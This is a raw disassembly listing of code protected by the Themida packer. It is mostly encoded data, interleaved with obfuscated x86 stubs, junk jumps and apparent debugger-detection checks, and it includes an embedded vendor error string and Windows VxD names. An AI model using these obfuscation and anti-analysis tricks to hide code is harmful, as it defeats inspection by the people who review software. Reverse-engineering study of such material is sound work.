dd 0DB168F3Ch, 0FC5AABBAh, 530A8B39h, 0AD9542B7h, 0E120311Dh
dd 63B17FD7h, 40195AACh, 0BA000000h, 41EE689Dh, 56B70A8Bh
dd 0BEA3D48Eh, 637AEBC8h, 0A4168EA3h, 0CFF3D061h, 7908D080h
dd 0A8A9F19h, 77A51670h, 5AAD00B9h, 4121h, 708DB200h, 0F16DA07Bh
dd 0BA0A8A19h, 1699745Bh, 0C225AF39h, 6CFD4BE0h, 0E564A32Dh
dd 7109DB4h, 0C0F1DEE2h, 83445B27h, 36DAC5E2h, 0E5A6E2B1h
dd 1B358628h, 0F85184D1h, 0B9168F6Dh, 71104491h, 0BEA3F751h
dd 577AEBC8h, 0B0168EA4h, 2DADDC6Dh, 840A8A9Eh, 89057857h
dd 520A8A9Dh, 0EA5FA933h, 0AD0FF2C2h, 1FAE945Ah, 0DBE52435h
dd 13C4h, 12709A00h, 34109DB5h, 0B7A592Dh, 168EB292h, 36943253h
dd 0EBC8BEA3h, 8BF94A7Ah, 815EBF16h, 66440859h, 0A5BF144h
dd 0FA56E5CDh, 7ACB89D8h, 7C65D11Bh, 8338AD0Ah, 1075B3h
dd 16193E9Dh, 138FFE10h, 0DC0471B2h, 44EF12B9h, 1735CCF3h
dd 0D1C7F9DFh, 55E8CA07h, 0CDACA234h, 0D27ACBEDh, 4A3C2583h
dd 0DDDDF86Dh, 24260A61h, 6EAFBE94h, 0CAF75A0Fh, 650473D8h
dd 0C968h, 56E400h, 202E80A2h, 3E0CA082h, 2729BAA0h, 4014A187h
dd 8FFC3362h, 8EB41242h, 94B6143Eh, 87A9093Fh, 0ABB81636h
dd 1FD531A4h, 8B9E16B4h, 0C8BEA3D7h, 0EEE3CCEBh, 0D4C72A7Ch
dd 0F4450358h, 9DECF495h, 168CF7E2h, 38172667h, 0BC8DBF12h
dd 930F7E5Dh, 5C0A8861h, 0C9DAF39h, 0ED406240h, 0CA7F0E5Fh
dd 3F4546ADh, 0A9AB3A20h, 0D04ABB98h, 99AEC6ACh, 41CB1574h
dd 1A401FC8h, 78D283C5h, 41AEC6ADh, 6FC214DCh, 0FAE0FDDDh
dd 0FCDEE668h, 7052E369h, 0ECE071DFh, 0F45CEBCFh, 7E29A2ECh
dd 7E460C5Ch, 6343095Ch, 0B9DEC3Dh, 8EEF2E3Fh, 9BB7A0BFh
dd 0F6508576h, 0BFAEC60Eh, 0CFF5795Eh, 3C40FD9h, 6A000000h
dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h
dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh, 56221524h
dd 0C681E689h, 4, 8704EE83h, 895C2434h, 89572414h, 4C781E7h
dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 81E78957h, 4C7h
dd 4EF8300h, 5C243C87h, 57243C89h, 164DE4BFh, 8BFA8906h
dd 0C483243Ch, 7D7D6804h, 24890000h, 24048124h, 4, 8956555Fh
dd 5EF589D6h, 5D086F89h, 53243C8Bh, 0C381E389h, 4, 4C381h
dd 1C870000h, 34FF5C24h, 0C4815A24h, 4, 0FD14C3E9h, 4B0E06FFh
dd 0CC5743E5h
db 80h
; ---------------------------------------------------------------------------
loc_5B2F71: ; CODE XREF: Themida_:loc_5B0FD7j
mov eax, 6166C15h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 0DECFh
dd 6C2A4FE8h, 0D0A73E0Bh, 0C20C4BDBh, 0E23F17BEh, 0E0766F2Ch
dd 0F12A2704h, 3F48248Ah, 998827B2h, 0FF2E62E6h, 0E3E04924h
dd 8F561AA2h, 0D2A90DACh, 25B10FEBh, 0B11D5A18h, 84F44AB8h
dd 0F26704D1h, 505E7C40h, 0E87B79A3h, 915B5358h, 204A5C59h
dd 38EF084Fh, 6A015ACh, 809912CDh, 89ED7D0Eh, 7E81720h
dd 2B000000h, 23E0C1ACh, 0B70FAC57h, 66605ADAh, 8B66D68Bh
dd 0C28161CAh, 5CE2h, 6890Fh, 0E3810000h, 1517290Ch, 0EE81FF2Bh
dd 144DB994h, 0E91734FFh, 0Ah, 0ECD01A98h, 0B3DC9A5Fh
dd 0E859084Bh, 6, 1B01C310h, 815B1403h, 5AED51F1h, 28E98108h
dd 660D1EA4h, 81ADA6B8h, 0CDDB6AF1h, 7E907h, 0F7090000h
dd 26269204h, 3A0C89F2h, 0CED08166h, 0EE890h, 0B6C20000h
dd 0FE5EA07Eh, 0A62ED66Eh, 852B41B8h, 800Fh, 83580000h
dd 0C88104EFh, 1A47D8FDh, 0A3DCFF81h, 850FFFFFh, 0Eh, 16E9BFB3h
dd 0A7000000h, 0E12F17C4h, 0E9F83476h, 0FFFFFF74h, 0AE6159F7h
dd 0AAEF74EEh, 14E816h, 0C8500000h, 0B1DB59E1h, 0BBF3C53Fh
dd 36679CE7h, 7A14697Ah, 6E822BFh, 32000000h, 0C5692D66h
dd 65BB667Dh, 0F59582Fh, 884h, 2840F00h, 8B000000h, 2DC181F9h
dd 0F000075h, 1C68C3B7h, 0F00001Dh, 187h, 665EF500h, 8B9DE5BBh
dd 0EA81F911h, 66D1A659h, 3CCADF81h, 0EA817030h, 6598A206h
dd 8F16CB81h, 0C281703Eh, 2208AC27h, 8830Fh, 0F600000h
dd 8Bh, 66526100h, 18BDE881h, 8166018Fh, 832499E0h, 0C28B04E9h
dd 0F01EE83h, 1B85h, 0FFBF0F00h, 22E9h, 0D3C47300h, 0E9823B5Fh
dd 0BC149BDEh, 0AF3D4616h, 815A0A04h, 0FFFF96E9h, 0EEA232FFh
dd 26870840h, 0E8B68941h, 14h, 31BF9F88h, 279F806Ah, 8BF6C07Ah
dd 188A0DD5h, 46FC4B57h, 0FE9h, 98ECBB00h, 27A5FF4Bh, 0CCCC6300h
dd 507EE667h, 8191B05Ah, 5D5BC2h, 0BFF500h, 81000000h
dd 0ECD718F1h, 3A348B69h, 10E8h, 2B6D5900h, 19BBFD81h
dd 0E3AC4D54h, 1327BE0Eh, 0BCF5806Ah, 26F68158h, 0E92FE702h
dd 7, 95F5CF99h, 81B16B2Eh, 619873F6h, 0C38B6638h, 2E9CF681h
dd 0B70F2623h, 0B70F56CEh, 3A048FC1h, 6660C78Bh, 61F44FB8h
dd 0BC59EF81h, 81F54C26h, 26BC55C7h, 0AE84Ch, 60A80000h
dd 0EA63B6B1h, 8E22FBB9h, 2880Fh, 61600000h, 98FF8158h
dd 0FFFFFA3h, 2785h, 0C9816000h, 2151CFF7h, 2870Fh, 61600000h
dd 25E961h, 0A4F00000h, 14DC55EBh, 0A82F884Fh, 8753EB7Ah
dd 10A2B48Bh, 0FF53E9FCh, 6254FFFFh, 21B9F048h, 7656E725h
dd 0EBFDB683h, 53464934h, 2052474Dh, 444B5620h, 20202020h
dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h
dd 2052444Ch, 20h, 2 dup(0)
dd 842E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 8E0C88C3h, 0FE939E7h, 21000000h
dd 426043E0h, 79F2CC69h, 92CE099Bh, 6A605B38h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 8EE6C356h, 0E9F93A59h, 0Bh, 0EC083FBEh, 0E48F91F7h
dd 0C7CADC83h, 166FC785h, 6, 0C810F00h, 60000000h, 3E62ADBEh
dd 1B25BF73h, 8B616B97h, 53006AC6h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 0DB2F31EAh, 8E0F9DBFh
dd 0Eh, 9E9h, 1716C00h, 536BE0B9h, 0B70FDD07h, 8B6660D8h
dd 8E0FF8h, 61000000h, 0E910E8C1h, 12h, 831778EDh, 723902E1h
dd 54F972B5h, 3B6D29EDh, 0C166A578h, 6A08C8h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 0FB2898C3h
dd 60C90FE3h, 5870Fh, 81660000h, 81B850CBh, 2DD657CAh
dd 8589611Ah, 6166FCBh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 16h, 4EC35242h, 840F9E06h, 1, 78E0FF5h, 0F000000h
dd 18Dh, 0C166F500h, 6A08CBh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 60680EC3h, 8E8h, 5C930B00h
dd 0FE62BA48h, 8C0F5F8Ah, 13h, 0DE8h, 0D0A6900h, 0ED04C79h
dd 32AAB3ADh, 615F6821h, 0F40FB83h, 6E85h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0E4A3713Eh, 8A0FF757h, 0Ch, 6860Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
jbe loc_5B348A
jnb loc_5B348A
jg $+6
loc_5B348A: ; CODE XREF: Themida_:005B3478j
; Themida_:005B347Ej
clc
lea edi, [ebp+6166F9Fh]
pusha
jo loc_5B349C
mov ax, 5603h
loc_5B349C: ; CODE XREF: Themida_:005B3492j
pusha
clc
popa
popa
jmp loc_5B35FA
; ---------------------------------------------------------------------------
jmp loc_5B34B3
; ---------------------------------------------------------------------------
mov esp, 0B6F6F5E6h
or al, [esi+ebx*4+51h]
loc_5B34B3: ; CODE XREF: Themida_:005B34A5j
cmp ebx, 0Dh
jnz loc_5B34E6
pusha
or edi, 65880BF0h
movzx edx, cx
popa
lea edi, [ebp+6166FA7h]
jno loc_5B34D4
stc
loc_5B34D4: ; CODE XREF: Themida_:005B34CDj
jmp loc_5B35FA
; ---------------------------------------------------------------------------
jno loc_5B34E6
jns loc_5B34E6
clc
loc_5B34E6: ; CODE XREF: Themida_:005B34B6j
; Themida_:005B34D9j ...
cmp ebx, 1
jnz loc_5B3545
push 0
push esi
call sub_5B34FA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B34FA proc near ; CODE XREF: Themida_:005B34F2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5B34FA endp
; ---------------------------------------------------------------------------
dec esi
mov [ebp+166FAFBDh], ecx
push es
push 0
push edi
call sub_5B351D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B351D proc near ; CODE XREF: Themida_:005B3515p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5B351D endp
; ---------------------------------------------------------------------------
dec ebx
mov ecx, 62CCF9BAh
push eax
jmp loc_5B35FA
; ---------------------------------------------------------------------------
pusha
mov ecx, 16E091D8h
or dx, 6990h
popa
loc_5B3545: ; CODE XREF: Themida_:005B34E9j
cmp ebx, 2Ah
jnz loc_5B35CE
push 0
push ebx
call sub_5B3559
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3559 proc near ; CODE XREF: Themida_:005B3551p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5B3559 endp
; ---------------------------------------------------------------------------
db 87h, 1Ah, 45h
dd 6D8C0BFEh, 880FD140h, 4, 615E5160h, 6FB7BD8Dh, 6A0616h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 9847D9C3h, 318269Ch, 0DE903h, 0E1740000h, 5F9B774Dh
dd 0F8176773h, 0F9B63133h, 3DE9h, 0B800F00h, 60000000h
dd 0FD3B70Fh, 88h
db 0, 61h
; ---------------------------------------------------------------------------
loc_5B35CE: ; CODE XREF: Themida_:005B3548j
cmp ebx, 27h
jnz loc_5B397A
jmp loc_5B35E1
; ---------------------------------------------------------------------------
pop eax
add al, 0DDh
xchg eax, ebx
scasb
loc_5B35E1: ; CODE XREF: Themida_:005B35D7j
lea edi, [ebp+6166FBFh]
jmp loc_5B35FA
; ---------------------------------------------------------------------------
dd 0FBA081C4h, 0FC21FE3Bh, 4C82C4F4h
; ---------------------------------------------------------------------------
mov bl, 0BBh
loc_5B35FA: ; CODE XREF: Themida_:005B34A0j
; Themida_:loc_5B34D4j ...
mov [ebp+6166FCFh], edi
push 0
push ebx
call sub_5B360B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B360B proc near ; CODE XREF: Themida_:005B3603p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5B360B endp
; ---------------------------------------------------------------------------
mov ch, 9Eh
nop
mov ax, cs
push 0
push eax
call sub_5B362C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B362C proc near ; CODE XREF: Themida_:005B3624p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5B362C endp
; ---------------------------------------------------------------------------
push ds
push esi
jp loc_5B364C
ja loc_5B364C
pusha
popa
loc_5B364C: ; CODE XREF: Themida_:005B363Ej
; Themida_:005B3644j
pusha
jmp loc_5B3663
; ---------------------------------------------------------------------------
dw 3DD7h
dd 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh
db 0A1h, 65h, 80h
; ---------------------------------------------------------------------------
loc_5B3663: ; CODE XREF: Themida_:005B364Dj
popa
and al, 3
pusha
cld
mov di, 0D20Ch
popa
or al, al
jnz loc_5B38BE
push 0
push eax
call sub_5B3680
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3680 proc near ; CODE XREF: Themida_:005B3678p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5B3680 endp
; ---------------------------------------------------------------------------
dd 0B58D3D63h, 6167739h, 9D858BF8h, 6A061677h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 678DC351h, 0F60F841h, 1581h, 10E900h, 8B020000h, 0F7756861h
dd 0E8BD1A0h, 56996B76h, 9261C6A0h, 10E95250h, 0A8000000h
dd 5DDAE9E6h, 0FE16C4C8h, 0CAC07ED6h, 0F1DCD14h, 198B0F31h
dd 0E9000000h, 14h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh
dd 8C9F1F3Fh, 9AEC221h, 5050585Ah, 0BE952h, 0A4210000h
dd 81AAA0CAh, 3ABEAB4Eh, 0E9310F4Ah, 14h, 5FD93DAh, 0FE51BFFFh
dd 0C0E6E17Fh, 0A25DA4A2h, 32F299Fh, 0E992585Ah, 0Eh, 2318468Bh
dd 7F63214Fh, 7417D3BCh, 10F56A6h, 6AFE244Ch, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 0E548C352h, 4F88EF62h, 0F5AB560h, 0F83h, 0AE900h, 51B10000h
dd 37165F58h, 1BFBC055h, 1D8C0F61h, 60000000h, 10E8h, 59354500h
dd 902F20D7h, 482C4580h, 0D4FC016Ah, 81665BD0h, 6173B4C9h
dd 55006A5Ah, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 44114CE8h, 0DE630A1Fh, 0C2836160h, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 46BCE42Ah, 0C57D058Bh, 1820F09h, 0F5000000h, 0FC728966h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B6C35343h
dd 6E99D39Eh, 9E9917Fh, 0
dd 18A2ACB6h, 651828FFh, 6A10CEC1h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C773C350h
dd 0B0775C70h, 2D798CB7h, 728966F8h, 56006A02h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0D7F7AD4h
dd 0F04CD1Ch, 186h, 0A7E9F800h, 60000000h, 0BE9h, 0F31C3400h
dd 0EA7025E0h, 0A539AFA8h, 3DF4D081h, 0F611DE0h, 189h
db 0, 0F8h
; ---------------------------------------------------------------------------
loc_5B38BE: ; CODE XREF: Themida_:005B366Fj
mov eax, [ebp+616779Dh]
jbe loc_5B38E3
jmp loc_5B38E3
; ---------------------------------------------------------------------------
db 2
dd 8AFB2137h, 60A5AE26h, 0A237BD94h, 9C39C401h
db 0F1h, 83h, 5Bh
; ---------------------------------------------------------------------------
loc_5B38E3: ; CODE XREF: Themida_:005B38C4j
; Themida_:005B38CAj
lea esi, [ebp+6167739h]
push 0
push edi
call sub_5B38F4
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B38F4 proc near ; CODE XREF: Themida_:005B38ECp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5B38F4 endp
; ---------------------------------------------------------------------------
dd 69269F39h, 657C8148h, 8DF59EBDh, 16448385h, 17850F06h
dd 0F000000h, 1180h, 0CE900h, 9450000h, 0AB77DD40h, 6F3D8671h
dd 0D0FFBA2Ch, 0C840Fh, 8B0F0000h, 6, 870Fh, 85890000h
dd 6166FC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 0F1C35747h, 0CE91Ah, 37E50000h, 6A38DBDAh, 4F9DE351h
db 0FBh, 0E8h
; ---------------------------------------------------------------------------
loc_5B397A: ; CODE XREF: Themida_:005B35D1j
popa
push 0
push ebp
call sub_5B3986
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3986 proc near ; CODE XREF: Themida_:005B397Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5B3986 endp
; ---------------------------------------------------------------------------
dw 0B1EFh
; ---------------------------------------------------------------------------
mov eax, [ebp+6166FC7h]
push 0
push ebx
call sub_5B39A9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B39A9 proc near ; CODE XREF: Themida_:005B39A1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5B39A9 endp
; ---------------------------------------------------------------------------
sal ch, 60h
sbb di, 0F71Eh
sbb esi, 5302F3D1h
popa
retn
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5B39D4
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B39D4 proc near ; CODE XREF: Themida_:005B39CCp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5B39D4 endp
; ---------------------------------------------------------------------------
dd 2F2BA31Eh, 9DE03B35h, 0E852607Eh, 0Bh, 0B6A56C88h, 444926FFh
dd 5BDEAF17h, 60FC615Eh, 0A9F08160h, 0F2A684Ah, 18Dh, 8361F900h
dd 16779DBDh, 850F0006h, 39h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0E7C35545h, 0D503EAEDh, 7E93BB5h
dd 0F9000000h, 0CCBD3324h, 85C785E6h, 616779Dh, 1013Fh
dd 7E9FCh, 820F0000h, 1, 20CDF9h, 0B000000h, 8D3774C0h
dd 0BD8B0C70h, 6166FCFh, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
dd 6166FCBh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh
dd 6166FC7h, 8B04EBh, 8B61C5EBh, 166FC785h, 8F0FCF06h
dd 0Ch, 68D0Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5B3ACB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3ACB proc near ; CODE XREF: Themida_:005B3AC3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5B3ACB endp
; ---------------------------------------------------------------------------
xor al, 1
jnb loc_5B3AE4
cld
loc_5B3AE4: ; CODE XREF: Themida_:005B3ADDj
mov eax, eax
jmp loc_5B3EEB
; ---------------------------------------------------------------------------
align 4
dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h
dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h
dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h
dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h
dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
dd 56000000h, 45000000h, 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5B3EEB: ; CODE XREF: Themida_:005B3AE6j
jmp loc_5B4F9B
; ---------------------------------------------------------------------------
jge loc_5B3EFC
sub [ebp+6130061h], eax
loc_5B3EFC: ; CODE XREF: Themida_:005B3EF0j
stc
mov eax, [ebp+61307C9h]
push 0
push edx
call sub_5B3F0E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3F0E proc near ; CODE XREF: Themida_:005B3F06p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5B3F0E endp
; ---------------------------------------------------------------------------
adc [ebx-42582EBCh], esp
cmc
cmp [esp+4], eax
jnz loc_5B3F80
jnb loc_5B3F3C
jle loc_5B3F3C
cld
loc_5B3F3C: ; CODE XREF: Themida_:005B3F2Fj
; Themida_:005B3F35j
cmp dword ptr [ebp+6131505h], 0
jz loc_5B3F80
xor [ebp+6131985h], eax
lea eax, [ebp+6133AADh]
push 0
push esi
call sub_5B3F60
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3F60 proc near ; CODE XREF: Themida_:005B3F58p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5B3F60 endp
; ---------------------------------------------------------------------------
dd 0E0FFB720h, 6890Fh, 95890000h, 6131B29h
; ---------------------------------------------------------------------------
loc_5B3F80: ; CODE XREF: Themida_:005B3F29j
; Themida_:005B3F43j
mov eax, [ebp+61310D1h]
push 0
push ebp
call sub_5B3F91
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3F91 proc near ; CODE XREF: Themida_:005B3F89p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5B3F91 endp
; ---------------------------------------------------------------------------
pushf
dec dword ptr [ecx+eax*4+6434DED8h]
cmp [esp+4], eax
jnz loc_5B3FF4
push 0
push esi
call sub_5B3FBE
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B3FBE proc near ; CODE XREF: Themida_:005B3FB6p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5B3FBE endp
; ---------------------------------------------------------------------------
or edx, ebp
add [ebp+6130B91h], eax
mov dword ptr [ebp+6167C1Dh], 1
jmp loc_5B3FF4
; ---------------------------------------------------------------------------
mov ds:3FECB0C6h, al
xchg eax, esi
and eax, 0C1968396h
sub bl, [ecx-62h]
lodsb
loc_5B3FF4: ; CODE XREF: Themida_:005B3FADj
; Themida_:005B3FE0j
pusha
push 0
push edi
call sub_5B4000
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4000 proc near ; CODE XREF: Themida_:005B3FF8p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5B4000 endp
; ---------------------------------------------------------------------------
sbb eax, [ecx]
add edi, edx
jmp loc_5B4041
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5B4024
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4024 proc near ; CODE XREF: Themida_:005B401Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5B4024 endp
; ---------------------------------------------------------------------------
dd 14E11D4Ch, 5EADFB32h, 21h
db 0
; ---------------------------------------------------------------------------
loc_5B4041: ; CODE XREF: Themida_:005B4014j
mov eax, 1
loc_5B4046: ; CODE XREF: Themida_:005B404Ej
xchg eax, [ebp+6167D73h]
or eax, eax
jnz short loc_5B4046
push dword ptr [ebp+61311E1h]
pop dword ptr [ebp+6167C15h]
push 20h
push 0FFFFFFFFh
call dword ptr [ebp+6130D09h]
cmp dword ptr [ebp+61334A1h], 0
jz short loc_5B4077
push 0
call dword ptr [ebp+6130DA9h]
loc_5B4077: ; CODE XREF: Themida_:005B406Dj
cmp dword ptr [ebp+61322C1h], 1
jz short loc_5B408D
push 80h
push 0FFFFFFFFh
call dword ptr [ebp+6130D09h]
loc_5B408D: ; CODE XREF: Themida_:005B407Ej
pusha
movsx eax, bx
push eax
mov [ebp+6132165h], edi
pop ebx
popa
jmp loc_5B40B0
; ---------------------------------------------------------------------------
db 4Fh
dd 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h
; ---------------------------------------------------------------------------
loc_5B40B0: ; CODE XREF: Themida_:005B409Aj
mov eax, 0
push 0
push edx
call sub_5B40C0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B40C0 proc near ; CODE XREF: Themida_:005B40B8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5B40C0 endp
; ---------------------------------------------------------------------------
dd 0BD896456h, 6131CE1h, 68A0Fh, 0B5890000h, 61301C5h
dd 2824548Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 69C35242h, 0F5C9469Ah, 6E9h, 360B7800h, 891AB606h
dd 132BC585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 91118387h, 8D3113C1h, 6130619h, 3CBEh
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 8D2996F6h, 6131D3Dh, 24247403h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E6C35242h, 3869B607h
dd 0A253B878h, 1A6D8589h, 8D0F0613h, 0Eh, 9E9h, 92A87700h
dd 34D1B342h, 0AD662E91h, 0BE9h, 0CDADD800h, 2B4C1A1Ch
dd 0CB9FB466h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0B7C35242h, 0FC8F39E9h, 1DC7362Ah, 0CE960BAh
dd 62000000h, 50AC2C69h, 6898037Fh, 890EE9D2h, 1316458Dh
dd 0F906106h, 88Bh, 2830F00h, 60000000h, 0F605061h, 281h
dd 61616000h, 408BF990h, 51006A78h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0E82A963Ah, 839EE147h
dd 167C1DBDh, 850F0006h, 0DEh, 5E9h, 4E35A800h, 0E9503157h
dd 9, 25605CABh, 62EF1CF0h, 240489E1h, 24448BFCh, 51006A2Ch
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 8529F593h, 6130F01h, 60525050h, 0AE95B51h, 2A000000h
dd 0C51D4835h, 754D3FE9h, 310F613Ah, 52505250h, 585A310Fh
dd 0EE9310Fh, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h
dd 5A585A31h, 24048958h, 23E19589h, 858D0613h, 6164B4Ch
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 2C35242h
dd 0F8C8811Ch, 17398D29h, 0D0FF0613h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 63C35747h, 1F87D7C6h, 8FC78857h
dd 9E59D09h, 44030613h, 6A2824h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1B0424h, 55450000h, 0BBF59C3h, 0EF26CDBFh
dd 8D29604Ch, 6130AE9h, 2C099589h, 8B610613h, 6A1840h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 7016EEC3h, 25CB0F75h, 19840FF9h, 0E9000000h, 14h, 9294DF88h
dd 1AA11296h, 0E26236DFh, 71A82CA5h, 0BCDE5065h, 55006A40h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 2A3F103Dh, 36AB86B7h, 0E8F0Fh, 0F600000h, 87h, 19BD0300h
dd 6106130Fh, 7C198589h, 6A0616h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0F960C8C3h, 24399D89h
dd 0E9610613h, 0Dh, 90229DFCh, 6315DBBDh, 0B35CCCD3h, 896058CBh
dd 131E39BDh, 0AEEB8106h, 6173D0BAh, 1BB5B589h, 708B0613h
dd 45BD2978h, 8306132Ah, 6A1CC6h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 1E3A2AC3h, 0A23A6639h
dd 56006A96h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 16744705h, 0F8F515AEh, 24247C81h, 10000000h
dd 0D6870Fh, 85010000h, 6131F91h, 52506050h, 0B866310Fh
dd 585A847Dh, 1F9074BAh, 4896171h, 0EE924h, 0A0CD0000h
dd 0EA3EC897h, 0D5962F76h, 9E3B5BEAh, 2824448Bh, 413ABE60h
dd 85895C92h, 6130E45h, 52505061h, 0BB585360h, 30364C58h
